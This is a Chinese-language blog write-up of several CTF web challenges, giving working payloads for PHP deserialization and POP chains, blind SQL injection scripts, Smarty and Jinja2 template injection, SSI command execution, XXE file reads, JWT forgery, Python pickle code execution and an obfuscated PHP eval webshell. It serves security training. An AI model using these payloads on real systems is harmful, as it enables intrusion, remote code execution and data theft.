[0CTF 2016]piapiapia

1、访问界面

image-20210825093201017

2、目录扫描发现www.zip

3、审计代码

register.php注册界面,只限制用户名与密码长度不能小于3,大于16

<?php
	require_once('class.php');
	if($_POST['username'] && $_POST['password']) {
		$username = $_POST['username'];
		$password = $_POST['password'];

		if(strlen($username) < 3 or strlen($username) > 16) 
			die('Invalid user name');

		if(strlen($password) < 3 or strlen($password) > 16) 
			die('Invalid password');
		if(!$user->is_exists($username)) {
			$user->register($username, $password);
			echo 'Register OK!<a href="index.php">Please Login</a>';		
		}
		else {
			die('User name Already Exists');
		}
	}
	else {
?>

index.php,登陆成功跳转到profile.php

if($user->login($username, $password)) {
  $_SESSION['username'] = $username;
  header('Location: profile.php');
}ss

config.php,判断是要读取config.php 文件

$flag = '';

profile.php,这里存在反序列化,与读取 photo 的值,并输出 $photo的值

$profile = unserialize($profile);
$phone = $profile['phone'];
$email = $profile['email'];
$nickname = $profile['nickname'];
$photo = base64_encode(file_get_contents($profile['photo']));
<img src="data:image/gif;base64,<?php echo $photo; ?>

update.php 对传入的值进行了一些限制,里面存在 update_profile,定位到class.php

if($_POST['phone'] && $_POST['email'] && $_POST['nickname'] && $_FILES['photo']) {

		$username = $_SESSION['username'];
		if(!preg_match('/^\d{11}$/', $_POST['phone']))
			die('Invalid phone');

		if(!preg_match('/^[_a-zA-Z0-9]{1,10}@[_a-zA-Z0-9]{1,10}\.[_a-zA-Z0-9]{1,10}$/', $_POST['email']))
			die('Invalid email');
		
		if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)
			die('Invalid nickname');

		$file = $_FILES['photo'];
		if($file['size'] < 5 or $file['size'] > 1000000)
			die('Photo size error');

		move_uploaded_file($file['tmp_name'], 'upload/' . md5($file['name']));
		$profile['phone'] = $_POST['phone'];
		$profile['email'] = $_POST['email'];
		$profile['nickname'] = $_POST['nickname'];
		$profile['photo'] = 'upload/' . md5($file['name']);

		$user->update_profile($username, serialize($profile));
		echo 'Update Profile Success!<a href="profile.php">Your Profile</a>';
	}

class.php对传入的值进行黑名单过滤,会把存在黑名单的值替换成hacker

public function update_profile($username, $new_profile) {
		$username = parent::filter($username);
		$new_profile = parent::filter($new_profile);

		$where = "username = '$username'";
		return parent::update($this->table, 'profile', $new_profile, $where);
	}
public function filter($string) {
		$escape = array('\'', '\\\\');
		$escape = '/' . implode('|', $escape) . '/';
		$string = preg_replace($escape, '_', $string);

		$safe = array('select', 'insert', 'update', 'delete', 'where');
		$safe = '/' . implode('|', $safe) . '/i';
		return preg_replace($safe, 'hacker', $string);
	}

4、看完代码有了思路,需要把config.php的值输出出来,要满足这个要求,使用file_get_contents 进行读取,但只会对 photo的值进行输出,所以我们在序列化过程中需要把 photo 的值设定我们想要的值,这里就涉及到反序列化漏洞,序列化会以";间隔,以}结尾,对序列化的值}以外的内容当成垃圾数据丢弃。就可以把photo的值放到nickname中,反序列化的时候读取config.php

image-20210825181313461

5、这里我们可以看到需要逃逸出33个字符,需要把nickname输入的";s:5:"photo";s:10:"config.php";}挤到photo中,怎么能多出字符呢,这里就用到filter,会把黑名单的值转为hacker,使用where会被变为hacker,这样就每次多出一个字符,重复33次

public function filter($string) {
		$escape = array('\'', '\\\\');
		$escape = '/' . implode('|', $escape) . '/';
		$string = preg_replace($escape, '_', $string);

		$safe = array('select', 'insert', 'update', 'delete', 'where');
		$safe = '/' . implode('|', $safe) . '/i';
		return preg_replace($safe, 'hacker', $string);
	}

6、构造payload,我们可以看到photo的值已经变成我们构建的config.php

<?php


function filter($string) {
		$escape = array('\'', '\\\\');
		$escape = '/' . implode('|', $escape) . '/';
		$string = preg_replace($escape, '_', $string);

		$safe = array('select', 'insert', 'update', 'delete', 'where');
		$safe = '/' . implode('|', $safe) . '/i';
		return preg_replace($safe, 'hacker', $string);
	}



$profile['phone'] = '17412345689';
$profile['email'] = '812@qq.com';
$profile['nickname'] = 'wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";s:5:"photo";s:10:"config.php";}';
$profile['photo'] = '垃圾数据';
echo filter(serialize($profile));
echo "\n";

var_dump(unserialize(filter(serialize($profile))));



?>	

image-20210826093717424

7、注册账户,跳转到update.php页面,burpsuite抓包,nickname有长度限制,使用数组绕过,需要重新构建,使用";}结束数组

<?php


function filter($string) {
		$escape = array('\'', '\\\\');
		$escape = '/' . implode('|', $escape) . '/';
		$string = preg_replace($escape, '_', $string);

		$safe = array('select', 'insert', 'update', 'delete', 'where');
		$safe = '/' . implode('|', $safe) . '/i';
		return preg_replace($safe, 'hacker', $string);
	}



$profile['phone'] = '17412345689';
$profile['email'] = '812@qq.com';
$profile['nickname'] = array('wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}');
$profile['photo'] = '垃圾数据';
echo filter(serialize($profile));
echo "\n";

var_dump(unserialize(filter(serialize($profile))));


?>	


image-20210826095547057

image-20210826094121751

8、在profile.php中看到base64加密

image-20210826095813839

[MRCTF2020]PYWebsite

1、访问界面

image-20210826100706180

2、右键查看源代码,前端验证

image-20210826100743342

3、直接访问flag.php,提示只有自己能买,把XFF头改成127.0.0.1

image-20210826100810542

image-20210826100856019

4、刷新右键查看源码

image-20210826100932604

[极客大挑战 2019]FinalSQL

1、访问界面

image-20210826101046671

2、尝试登录框没成功,让选择正确神秘代码获得flag,提示盲注,使用盲注测试,过滤了空格,使用()绕过

?id=(10)or(ascii(substr((select(user())),1,1))>113); 

image-20210826112759085

3、编写脚本

import requests
import time
url='http://ba5f5255-3c04-4e0a-8ec8-25f6c7bd9802.node4.buuoj.cn:81/search.php?id='
flag = ''
def payload(i,j):
    #table 
    # payload = "(10)or(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),{},1))>{})".format(i,j)
    #column
    # payload = "(10)or(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='F1naI1y')),{},1))>{})".format(i,j)
    #数据
    payload = "(10)or(ascii(substr((select(group_concat(id,'-',username,'-',password))from(F1naI1y)),{},1))>{})".format(i,j)
    r = requests.get(url+payload)
    # print (r.url)
    if "Click" in r.text:
        res = 1
    else:
        res = 0
 
    return res
 
def exp():
    global flag
    for i in range(1,10000) :
        print(i,':')
        low = 31
        high = 127
        while low <= high :
            mid = (low + high) // 2
            res = payload(i,mid)
            if res :
                low = mid + 1
            else :
                high = mid - 1
        f = int((low + high + 1)) // 2
        if (f == 127 or f == 31):
            break
        # print (f)
        time.sleep(1)
        flag += chr(f)
        print(flag)
 
exp()
print('flag=',flag)

image-20210826141929627

[MRCTF2020]Ezpop

1、访问界面

image-20210826142143748

Welcome to index.php
<?php
//flag is in flag.php
//WTF IS THIS?
//Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95
//And Crack It!
class Modifier {
    protected  $var;
    public function append($value){
        include($value);
    }
    public function __invoke(){
        $this->append($this->var);
    }
}

class Show{
    public $source;
    public $str;
    public function __construct($file='index.php'){
        $this->source = $file;
        echo 'Welcome to '.$this->source."<br>";
    }
    public function __toString(){
        return $this->str->source;
    }

    public function __wakeup(){
        if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
            echo "hacker";
            $this->source = "index.php";
        }
    }
}

class Test{
    public $p;
    public function __construct(){
        $this->p = array();
    }

    public function __get($key){
        $function = $this->p;
        return $function();
    }
}

if(isset($_GET['pop'])){
    @unserialize($_GET['pop']);
}
else{
    $a=new Show;
    highlight_file(__FILE__);
}

2、审计代码 ,需要触发append进行文件包含

class Modifier {
    protected  $var;
    public function append($value){
        include($value);
    }
    public function __invoke(){
        $this->append($this->var);
    }
}

3、需要触发Modifiter中的__invokeTest中的__get可触发__invokeShow__toSting 触发 __get , __construct 触发 _toString

4、构造 payload

<?php

class Modifier {
    protected  $var='php://filter/convert.base64-encode/resource=flag.php';
}

class Show{
    public $source;
    public $str;  
    public function __construct($file){
        $this->source= $file;
    }
}

class Test{
    public $p;
}

$the = new Show(aa);
$the->str = new Test();
$the->str->p=new Modifier();
$b = new Show($the);
echo urlencode(serialize($b));


?>

[NPUCTF2020]ReadlezPHP

1、访问界面

image-20210826155502335

2、查看页面源码,发现路径 /time.php?

image-20210826155654607

<?php
#error_reporting(0);
class HelloPhp
{
    public $a;
    public $b;
    public function __construct(){
        $this->a = "Y-m-d h:i:s";
        $this->b = "date";
    }
    public function __destruct(){
        $a = $this->a;
        $b = $this->b;
        echo $b($a);
    }
}
$c = new HelloPhp;

if(isset($_GET['source']))
{
    highlight_file(__FILE__);
    die(0);
}

@$ppp = unserialize($_GET["data"]);

3、序列化题目,构造payload,shell_exec,exec,system,passthru常用函数都被禁了,测试assert可以使用,在phpinfo中找到flag

<?php
#error_reporting(0);
class HelloPhp
{
    public $a;
    public $b;
    public function __construct(){
        $a = $this->a='phpinfo()';
        $b = $this->b='assert';
        echo $b($a);
    }
}
$the = new HelloPhp();
echo serialize($the);

image-20210826175932273

[CISCN2019 华东南赛区]Web11

1、访问界面,在最下面看到smarty,判断模板注入

image-20210827092342640

2、有个XFF,尝试修改XFF

image-20210827092740893

3、payload

{1*1}

image-20210827092938387

4、命令执行

{{system('cat /flag')}} 

image-20210827093204476

[BJDCTF2020]EasySearch

1、访问界面

image-20210827100757430

2、扫描目录找到index.php.swp(不好扫)

image-20210827101603946

image-20210827100953627

3、看出需要admin的值等于password前6为的md5,使用md5脚本爆破

# -*- coding: utf-8 -*-
import multiprocessing
import hashlib
import random
import string
import sys
CHARS = string.letters + string.digits
def cmp_md5(substr, stop_event, str_len,start=0, size=20):
    global CHARS
    while not stop_event.is_set():
        rnds = ''.join(random.choice(CHARS) for _ in range(size))
        md5 = hashlib.md5(rnds)
        value = md5.hexdigest()
        # print value[start: start+str_len]
        if value[start: start+str_len] == substr:
            print rnds
            stop_event.set()
            '''
            #碰撞双md5
            md5 = hashlib.md5(value)
            if md5.hexdigest()[start: start+str_len] == substr:
            	print rnds+ "=>" + value+"=>"+ md5.hexdigest()  + "\n"
                stop_event.set()
            '''

if __name__ == '__main__':
    substr = '6d0bc1'
    # start_pos = int(sys.argv[2]) if len(sys.argv) > 1 else 0
    str_len = 6
    cpus = multiprocessing.cpu_count()
    stop_event = multiprocessing.Event()
    processes = [multiprocessing.Process(target=cmp_md5, args=(substr,
                                         stop_event, str_len))
                 for i in range(cpus)]
    for p in processes:
        p.start()
    for p in processes:
        p.join()

image-20210827102130977

4、抓包发送得到路径,后缀是shtml

image-20210827105811306

5、百度得到shtml后缀存在ssi注入

<!--#exec cmd="id" -->

image-20210827110306933

image-20210827110315270

6、在网站跟目录下找到flag

<!--#exec cmd="cat ../flag_990c66bf85a09c664f0b6741840499b2 " -->

[GYCTF2020]FlaskApp

1、访问界面

image-20210901133235022

2、在提示页面,发现失败乃成功之母,应该是要失败

image-20210901133510746

3、在加密与解密尝试,得出如果在解密页面处输入1,页面就会报错,发现render_template_string(tmp),存在ssti注入,并且存在waf

image-20210901133647312

4、验证

image-20210906100212325

image-20210906100224021

5、查看源码,发现waf过滤了一些常用

{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('app.py','r').read() }}{% endif %}{% endfor %}
def waf(str): 
        black_list = ["flag","os","system","popen","import","eval","chr","request", "subprocess","commands","socket","hex","base64","*","?"] 
        for x in black_list : 
            if x in str.lower() : 
                return 1 

6、构造payload,通过拼接绕过过滤

{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__']['__imp'+'ort__']('o'+'s').listdir('/')}}{% endif %}{% endfor %}

7、读取this_is_the_flag.txt

{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('/this_is_the_fl'+'ag.txt','r').read()}}{% endif %}{% endfor %}

[BSidesCF 2019]Futurella

1、访问界面,是一串鬼画符

image-20210906102938330

2、看不懂,右键查看下,发现flag竟然就在这

image-20210906103026081

[NCTF2019]True XML cookbook

1、访问界面

image-20210906103114916

2、使用bp抓包,xml格式

image-20210906103212745

3、先读取/etc/passwd,存在xxe漏洞

image-20210906105338404

4、读取flag,一直报错

image-20210906105418313

5、使用伪协议读取源码康康,没有可用信息

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=doLogin.php">]>


<user><username>&xxe;</username><password>admin</password></user>

image-20210906105610617

6、到这里就卡主了,查询资料才知道要内网探测,得到网段10.0.44.2

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///proc/net/arp">]>


<user><username>&xxe;</username><password>admin</password></user>

image-20210906110223838

7、使用bp进行爆破

image-20210906110418351

image-20210906110432525

image-20210906110342156

[CISCN2019 华北赛区 Day1 Web2]ikun

1、访问界面,提示要买到lv6

image-20210906111135040

2、注册账户,进行登录

3、使用脚本找到lv6在哪里

import requests




url = 'http://ce6a792f-b7a8-4e42-a0d7-57103fdbd4b8.node4.buuoj.cn:81/shop?page={0}'

for i in range(1,2000):
    response = requests.get(url.format(i))
    if "lv6.png" in response.text:
        print(i)
        break
 

image-20210906113710435

4、lv6太贵了,使用抓包

image-20210906113753961

5、把最后面的折扣改成很大,不能改0,0直接错误,得到新地址,提示只能admin访问

image-20210906114005665

image-20210906114036652

6、接下来就是提高权限,cookie里面带有 jwt,需要破解 jwt,需要把username改成admin

image-20210906115035204

7、使用 c-jwt-cracker 解密秘钥

image-20210906133705109

8、使用https://jwt.io/,进行加密

image-20210906133548265

9、修改cookie

image-20210906133835548

image-20210906133821166

10、右键查看源代码,发现备份文件

image-20210906133909642

11、审计代码,在Admin.py存在python反序列化,这里会直接返回form.html

 def post(self, *args, **kwargs):
        try:
            become = self.get_argument('become')
            p = pickle.loads(urllib.unquote(become))
            return self.render('form.html', res=p, member=1)
        except:
            return self.render('form.html', res='This is Black Technology!', member=0)

12、构造payload1

# coding=utf8
import pickle
import urllib
import commands

class payload(object):
    def __reduce__(self):
        return (commands.getoutput,('cat /flag.txt',))

a = payload()
print urllib.quote(pickle.dumps(a))

image-20210906151520475

13、payload2

# coding=utf8
import pickle
import urllib


class payload(object):
    def __reduce__(self):
        return (eval,("open('/flag.txt').read()",))

a = payload()
print urllib.quote(pickle.dumps(a))

[MRCTF2020]套娃

1、访问界面

image-20210906151838094

2、右键查看源代码

//1st
$query = $_SERVER['QUERY_STRING'];

 if( substr_count($query, '_') !== 0 || substr_count($query, '%5f') != 0 ){
    die('Y0u are So cutE!');
}
 if($_GET['b_u_p_t'] !== '23333' && preg_match('/^23333$/', $_GET['b_u_p_t'])){
    echo "you are going to the next ~";
}

3、通过php特性将某些字符转为_绕过第一个if

User input Decoded PHP variable name
%20foo_bar%00 foo_bar foo_bar
foo%20bar%00 foo bar foo_bar
foo%5bbar foo[bar foo_bar

4、第二个if通过换行符%0a

image-20210906161910198

5、访问secrettw.php ,提示要local

image-20210906162012218

6、修改请求头没用,右键源代码,发现注释,搜索资料,是jsfuck加密,放到控制台进行解密,提示post传参

image-20210906163410787

7、随便传入参数,得到源码

image-20210906163645372

8、审计代码,存在file_get_contents,应该是要读取flag.php文件,前提条件有两个,ip===‘127.0.0.1’ 与 2333传入参数===todat is a happy day,第一个可以通过Client-IP:127.0.0.1,第二个可以通过php://input

9、还存在加密,通过反向写

<?php
function unchange($v){ 
    $re = '';
    for($i=0;$i<strlen($v);$i++){ 
        $re .= chr ( ord ($v[$i]) - $i*2 ); 
    } 
    return $re; 
}
$b =unchange('flag.php');
echo base64_encode($b);
?>

10、得到 flag

image-20210906170436698

[极客大挑战 2019]RCE ME

1、访问界面

image-20210906170825922

2、禁用了字母与数字,用取反绕过,先查看phpinfo,禁用了很多函数

?code=(~%8F%97%8F%96%91%99%90)();

image-20210906171316293

image-20210906171340235

3、构造shell

<?php 
error_reporting(0);
$a='assert';
$b=urlencode(~$a);
echo $b;
echo "\n";
$c='(eval($_POST[1]))';
$d=urlencode(~$c);
echo $d;
 ?>
/?code=(~%9E%8C%8C%9A%8D%8B)(~%D7%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%CE%A2%D6%D6);

image-20210906172716276

4、需要执行根目录下的readflag,但没有权限

image-20210906172926032

5、需要绕过,使用蚁剑插件绕过

image-20210906173057728

image-20210906173117980

[BSidesCF 2019]Kookie

1、访问界面,提示需要登录admin账号,提供了cookie账号

image-20210906173459610

2、登录账户抓包,看到cookie存在username

image-20210906173719066

3、修改为admin

image-20210906173743426

[WUSTCTF2020]颜值成绩查询

1、访问界面,输入框应该是sql注入

image-20210906175214744

2、输入1/**/and/**/1=1/**/%23 页面正常过滤了空格

image-20210906175351072

3、输入1/**/and/**/1=2/**/%23,查询失败

image-20210906175445380

4、payloadASCII大于100,成绩为100

?stunum=1/**/and/**/ascii(substr((select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema=database()),1,1))>100/**/%23

image-20210907160753939

ASCII大于200,成绩不存在

image-20210907160823199
5、盲注,编写exp

import requests
import time
url='http://4726a7f2-6cf5-40a8-a0e0-0dc1360449ae.node4.buuoj.cn:81/?stunum='
flag = ''
def payload(i,j):
    # 爆表名
    # payload = "1/**/and/**/ascii(substr((select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema=database()),{0},1))>{1}/**/%23".format(i,j)
    # 爆列名
    # payload = "1/**/and/**/ascii(substr((select/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name='flag'),{0},1))>{1}/**/%23".format(i,j)
    # 爆字段
    payload = "1/**/and/**/ascii(substr((select/**/group_concat(flag,'-',value)/**/from/**/flag),{0},1))>{1}/**/%23".format(i,j)
    r = requests.get(url+payload)
    
    if "your score is: 100" in r.text:
        res = 1
    else:
        res = 0
 
    return res
 
def exp():
    global flag
    for i in range(1,10000) :
        print(i,':')
        low = 31
        high = 127
        while low <= high :
            mid = (low + high) // 2
            res = payload(i,mid)
            if res :
                low = mid + 1
            else :
                high = mid - 1
        f = int((low + high + 1)) // 2
        if (f == 127 or f == 31):
            break
        # print (f)
        time.sleep(1)
        flag += chr(f)
        print(flag)
 
exp()
print('flag=',flag)

image-20210907161254978

[GWCTF 2019]枯燥的抽奖

1、访问界面,提示猜中字符

image-20210907162634042

2、右键查看源代码,发现check.php

image-20210907162822597

3、访问界面

image-20210907162938768

4、存在php伪随机数漏洞

str1='abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ'
str2='Rla1i9br4y'
str3 = str1[::-1]
length = len(str2)
res=''
for i in range(len(str2)):
    for j in range(len(str1)):
        if str2[i] == str1[j]:
            res+=str(j)+' '+str(j)+' '+'0'+' '+str(len(str1)-1)+' '
            break
print res

image-20210907180656665
5、使用php_mt_seed工具

image-20210907180754351

6、算出值,得到flag

<?php
mt_srand('54811715');
$str_long1 = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";
$str='';
$len1=20;
for ( $i = 0; $i < $len1; $i++ ){
    $str.=substr($str_long1, mt_rand(0, strlen($str_long1) - 1), 1);       
} 
echo $str;

?>

image-20210907181034933

上一篇 下一篇